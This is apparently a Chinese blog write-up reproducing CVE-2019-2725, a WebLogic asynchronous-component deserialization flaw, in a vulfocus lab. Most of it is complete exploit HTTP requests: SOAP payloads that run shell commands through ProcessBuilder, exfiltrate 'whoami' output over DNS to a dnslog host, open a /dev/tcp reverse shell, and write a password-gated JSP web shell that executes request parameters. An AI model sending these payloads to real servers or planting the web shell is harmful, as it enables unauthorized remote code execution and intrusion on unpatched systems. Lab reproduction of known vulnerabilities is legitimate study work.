CVE-2019-2725 Weblogic 反序列化漏洞

原创

用户8478947

发布于 2022-12-29 16:55:10

6551

发布于 2022-12-29 16:55:10

漏洞简介

事项	描述
漏洞概述	wls9-async等组件为WebLogic Server提供异步通讯服务，默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者通过发送精心构造的恶意 HTTP 请求，即可获得目标服务器的权限，在未授权的情况下远程执行命令。
影响范围	10.3.6.0.0 12.1.3.0.0
漏洞编号	CVE-2019-2725

漏洞搭建

这里使用vulfocus进行复现。

漏洞复现

访问http://192.168.146.167:13315/_async/AsyncResponseService，发现访问成功，说明可能存在漏洞。

抓包，修改恶意payload

 POST /_async/AsyncResponseService HTTP/1.1
 Host: 192.168.146.167:13315
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 DNT: 1
 Cookie: ADMINCONSOLESESSION=48n0jmnNnY4mLX2dvcgqyLG7zK9jWCxwyYnrywtbStm7PZZh8kCS!35670488; JSESSIONID=1hdsjmncSnGCmnHqz11LTLhH4qPcWQ8JYyl7nT1M82h2YVpzQRvW!35670488
 Connection: close
 Content-Type: text/xml
 Content-Length: 758
 
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
 <soapenv:Header>
 <wsa:Action>xx</wsa:Action>
 <wsa:RelatesTo>xx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>ping czn2lo.dnslog.cn
 </string>
 </void>
 </array>
 <void method="start"/></void>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body>
 <asy:onAsyncDelivery/>
 </soapenv:Body></soapenv:Envelope>

发现dnslog成功收到数据，说明确实存在漏洞。

查看能否执行whoami命令。

 POST /_async/AsyncResponseService HTTP/1.1
 Host: 192.168.146.167:13315
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 DNT: 1
 Cookie: ADMINCONSOLESESSION=48n0jmnNnY4mLX2dvcgqyLG7zK9jWCxwyYnrywtbStm7PZZh8kCS!35670488; JSESSIONID=1hdsjmncSnGCmnHqz11LTLhH4qPcWQ8JYyl7nT1M82h2YVpzQRvW!35670488
 Connection: close
 Content-Type: text/xml
 Content-Length: 761
 
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
 <soapenv:Header>
 <wsa:Action>xx</wsa:Action>
 <wsa:RelatesTo>xx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>ping `whoami`.czn2lo.dnslog.cn
 </string>
 </void>
 </array>
 <void method="start"/></void>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body>
 <asy:onAsyncDelivery/>
 </soapenv:Body></soapenv:Envelope>

发现成功执行whoami命令

开始反弹shell，这里反弹shell时需要把&进行转义处理，转义为&

 POST /_async/AsyncResponseService HTTP/1.1
 Host: 192.168.146.167:13315
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 DNT: 1
 Cookie: ADMINCONSOLESESSION=48n0jmnNnY4mLX2dvcgqyLG7zK9jWCxwyYnrywtbStm7PZZh8kCS!35670488; JSESSIONID=1hdsjmncSnGCmnHqz11LTLhH4qPcWQ8JYyl7nT1M82h2YVpzQRvW!35670488
 Connection: close
 Content-Type: text/xml
 Content-Length: 782
 
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
 <soapenv:Header>
 <wsa:Action>xx</wsa:Action>
 <wsa:RelatesTo>xx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>bash -i >&amp; /dev/tcp/192.168.146.167/9999>&amp;1
 </string>
 </void>
 </array>
 <void method="start"/></void>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body>
 <asy:onAsyncDelivery/>
 </soapenv:Body></soapenv:Envelope>

 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java>
             <java version="1.4.0" class="java.beans.XMLDecoder">
                 <object class="java.io.PrintWriter"> 
                     <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/beifen.jsp</string>
                     <void method="println">
                         <string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>]]>
                         </string>
                     </void>
                     <void method="close"/>
                 </object>
             </java>
          </java>
     </work:WorkContext>
 </soapenv:Header><soapenv:Body/></soapenv:Envelope>

然后发现虽然反弹了shell，但是无法执行任何操作。